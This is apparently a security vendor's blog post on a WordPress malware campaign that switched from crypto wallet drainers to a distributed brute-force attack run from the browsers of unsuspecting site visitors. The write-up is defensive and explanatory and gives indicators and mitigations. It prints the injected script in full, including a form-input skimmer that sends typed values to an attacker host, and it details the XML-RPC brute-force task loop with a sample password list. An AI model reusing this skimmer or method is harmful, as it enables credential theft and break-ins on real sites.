From Web3 Drainer to Distributed WordPress Brute Force Attack
Two weeks ago we discussed a new development in website hacks: Web3 crypto wallet drainers. We’ve been closely following the most significant variant which injects drainers using the external cachingjs/turboturbo.js script. Our SiteCheck website scanner has already detected this version on over 1,200 sites since the beginning of February, 2024.
Since our last post, this malware campaign has seen two new iterations resulting in distributed brute force attacks against target WordPress websites from the browsers of completely innocent and unsuspecting site visitors. Sounds unrelated, right? Well, let’s take a closer look.
Iteration 1: dynamiclink[.]lol drainer
On Feb 20, 2024, the turboturbo.js script domain changed — this time from dynamiclinks[.]cfd/cachingjs/turboturbo.js to dynamiclink[.]lol/cachingjs/turboturbo.js.
This new wave started on the very same day the new dynamiclink[.]lol domain was registered and hosted on the server with IP 93.123.39.199.
The drainer settings.js file also saw a small change: The worker_address was modified from 0xc5cE06FC4E2A26514afe69e25a6B36ab51F9FE42 to 0xFe8a95604CB87A9C6C5b1Ec681Bcfb4aE77F0c31.
Iteration 2: dynamic-linx[.]com script
On Feb 23, 2024, attackers registered another new dynamic-linx[.]com domain (also hosted on 93.123.39.199 and 94.156.8.251). By Feb 25th, we started detecting injections with the turboturbo.js script changed to dynamic-linx[.]com/chx.js.
<script id="deule">function generateRandomString(t){const e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";let n="";for(let o=0;o<t;o++){const t=Math.floor(62*Math.random());n+=e.charAt(t)}return n}const uid=generateRandomString(10);function sendPostRequest(t,e){const n=new URLSearchParams;n.append("uid",uid),n.append("i_name",t),// Add the field name as a parameter n.append("b",btoa(e)),fetch("hxxps://hostpdf[.]co/pinche.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:n.toString()}).then((t=>t.text())).then((t=>console.log(t))).catch((t=>console.error("Error:",t)))}document.addEventListener("input",(function(t){if("INPUT"===t.target.tagName&&"button"!==t.target.type){sendPostRequest(t.target.name||t.target.id,t.target.value)}}));</script><script>var buttons = document.querySelectorAll('button');var links = document.querySelectorAll('a');buttons.forEach(function(button) {button.classList.add('connectButton');});links.forEach(function(link) {link.classList.add('connectButton');});</script><script id="deule2" src="hxxps://dynamic-linx[.]com/chx.js"></script><script id="deule3">var e1 = document.getElementById("deule");if (e1) {e1.parentNode.removeChild(e1);}var e2 = document.getElementById("deule2");if (e2) {e2.parentNode.removeChild(e2);}var e3 = document.getElementById("deule3");if (e3) {e3.parentNode.removeChild(e3);}</script>
At the current time of writing, this variation of the injection is found on over 500 sites by PublicWWW.
However, what’s significantly different about this new script is that it doesn’t load a crypto drainer. In fact, the script contents don’t have anything to do with Web3 and cryptocurrencies at all. The snippet of code we found was just 3Kb long and not obfuscated in any way, so it wasn’t difficult to figure out the purpose of the script.
Let’s take a closer look at what we found.
Distributed WordPress brute force attack
At the top of the script you can find two URLs:
const getTaskUrl = 'hxxps://dynamic-linx[.]com/getTask.php'; const completeTaskUrl = 'hxxps://dynamic-linx[.]com/completeTask.php'; …
In a loop, this script requests tasks from getTaskUrl and reports results to completeTaskUrl and then fetches another task, and so on.
What kind of tasks, you might ask? Well, each task consists of the following:
- taskId
- taskUrl (URL of a random WordPress site)
- taskUser (WordPress username)
- checkId (number of the password batch)
- …and a list of 100 passwords to try.
To illustrate further what this looks like, here is an example of a real task received by the malicious script:
[871,"https://REDACTED","redacted","60","junkyard","johncena","jewish","jakejake","invincible","intern","indira","hawthorn","hawaiian","hannah1","halifax","greyhound","greene","glenda","futbol","fresh","frenchie","flyaway","fleming","fishing1","finally","ferris","fastball","elisha","doggies","desktop","dental","delight","deathrow","ddddddd","cocker","chilly","chat","casey1","carpenter","calimero","calgary","broker","breakout","bootsie","bonito","black123","bismarck","bigtime","belmont","barnes","ball","baggins","arrow","alone","alkaline","adrenalin","abbott","987987","3333333","123qwerty","000111","zxcv1234","walton","vaughn","tryagain","trent","thatcher","templar","stratus","status","stampede","small","sinned","silver1","signal","shakespeare","selene","scheisse","sayonara","santacruz","sanity","rover","roswell","reverse","redbird","poppop","pompom","pollux","pokerface","passions","papers","option","olympus","oliver1","notorious","nothing1","norris","nicole1","necromancer","nameless","mysterio","mylife","muslim","monkey12","mitsubishi"]
All the passwords in this task belong to well known collections of common (and leaked) passwords.
The largest password batch number that we’ve seen so far was #418, so we can assume that attackers are able to try more than 41,800 passwords for each site.
Now that we have a simple understanding of the script’s task management features, let’s take a look at how the attacker’s use these scripts to launch their attacks against victim sites.
Attack stages and lifecycle
The attack consists of five key stages that allow a bad actor to leverage already compromised websites to launch distributed brute force attacks against thousands of other potential victim sites.
- Stage 1: Obtain URLs of WordPress sites. The attackers either crawl the internet themselves or use various search engines and databases to obtain lists of target WordPress sites.
- Stage 2: Extract author usernames. Attackers then scan the target sites, extracting real usernames of authors that post on those domains.
- Stage 3: Inject malicious scripts. Attackers then inject their dynamic-linx[.]com/chx.js script to websites that they have already compromised.
- Stage 4: Brute force credentials. As normal site visitors open infected web pages, the malicious script is loaded. Behind the scenes, the visitors’ browsers conduct a distributed brute force attack on thousands of target sites without any active involvement from attackers.
- Stage 5: Verify compromised credentials. Bad actors verify brute forced credentials and gain unauthorized access to sites targeted in stage 1.
So, how do attackers actually accomplish a distributed brute force attack from the browsers of completely innocent and unsuspecting website visitors? Let’s take a look at stage 4 in closer detail.
Distributed brute force attack steps:
- When a site visitor opens an infected web page, the user’s browser requests a task from the hxxps://dynamic-linx[.]com/getTask.php URL.
- If the task exists, it parses the data and obtains the URL of the site to attack along with a valid username and a list of 100 passwords to try.
- For every password in the list, the visitor’s browser sends the wp.uploadFile XML-RPC API request to upload a file with encrypted credentials that were used to authenticate this specific request. That’s 100 API requests for each task! If authentication succeeds, a small text file with valid credentials is created in the WordPress uploads directory.
- When all the passwords are checked, the script sends a notification to hxxps://dynamic-linx[.]com/completeTask.php that the task with a specific taskId (probably a unique site) and checkId (password batch) has been completed.
- Finally, the script requests the next task and processes a new batch of passwords. And so on indefinitely while the infected page is open.
This is how thousands of visitors across hundreds of infected websites unknowingly and simultaneously try to bruteforce thousands of other third-party WordPress sites. And since the requests come from the browsers of real visitors, you can imagine this is a challenge to filter and block such requests.
When the attack is over, the operators simply need to visit the target sites from their list (identified in stage 1) and try to download a specific file. If the file exists and they manage to download it, they’ll find the valid WordPress user credentials encoded within the file contents.
Attack statistics
In our telemetry, we see dozens of thousands of requests to thousands of unique domains checking for the file that this brute force attack tries to upload. In most cases, the response is 404 which means that the attack was not successful. However, in approximately 0.5% of cases, we see the 200 response code which signifies the bad actors might have managed to guess the WordPress password.
Double checking the sites with the “200 OK” responses, we noticed that only one of them was actually compromised. The rest of the sites simply had non-standard configurations that made them return 200 even for “not found” pages. This further decreased the success rate of the brute force campaign below 0.02%.
In the past 4 days, we’ve recorded over 1200+ unique IPs that have tried to download the credentials file. Out of those IPs, the following 5 addresses accounted for over 85% of all requests:
IP | % | ASN |
146.70.199.169 | 34.37% | M247, RO |
138.199.60.23 | 28.13% | CDNEXT, GB |
138.199.60.32 | 10.96% | CDNEXT, GB |
138.199.60.19 | 6.54% | CDNEXT, GB |
87.121.87.178 | 5.94% | SOUZA-AS, BR |
The last IP 87.121.87.178 is the same IP used for the billlionair[.]app domain where the Angel Drainer was hosted.
In all cases, the attackers use these two User-Agent strings:
User-Agent | % |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 | 95.8% |
python-requests/2.25.1 | 4.2% |
This reveals that operators are most likely using python scripts to automate checking results of their brute force attack.
Indicators of compromise, mitigating risk and final thoughts
At this point, it’s not exactly clear why the attackers switched from Web 3 crypto drainers to a distributed WordPress brute force attack. Most likely, they realized that at their scale of infection (~1000 compromised sites) the crypto drainers are not very profitable yet. Moreover, they draw too much attention and their domains get blocked pretty quickly. So, it appears reasonable to switch the payload with something stealthier, that at the same time can help increase their portfolio of compromised sites for future waves of infections that they will be able to monetize in one way or another.
More than anything, this attack reminds us about the importance of using strong passwords. With the level of technology available to bad actors now, it is pretty easy to try hundreds of thousands passwords on millions of sites within a reasonable timeframe.
In addition to secure passwords, you might want to consider restricting access to the WordPress admin interface and xmlrpc.php file to trusted IPs only. This is quickly accomplished with the Sucuri web application firewall, which makes it easy to restrict access to only certain IPs.
For DIY types who think they might be affected by this malware and want to hunt around for indicators of compromise, we recommend checking WordPress uploads directories (wp-content/uploads/…) for unknown files. This particular attack creates short .txt files that contain “ActiveLamezh”. You can also check directories like wp-content/uploads/2024/02/ and wp-content/uploads/2024/03.
Even if you don’t find the uploaded .txt files, consider changing the passwords of all WordPress admin users to ensure that they are long, strong, and unique from other sets of credentials.
If you believe that your website may be infected with malware but aren’t sure how to tackle the issue, reach out and chat with us! Our experienced analysts are available 24/7 to help you get rid of website malware infections.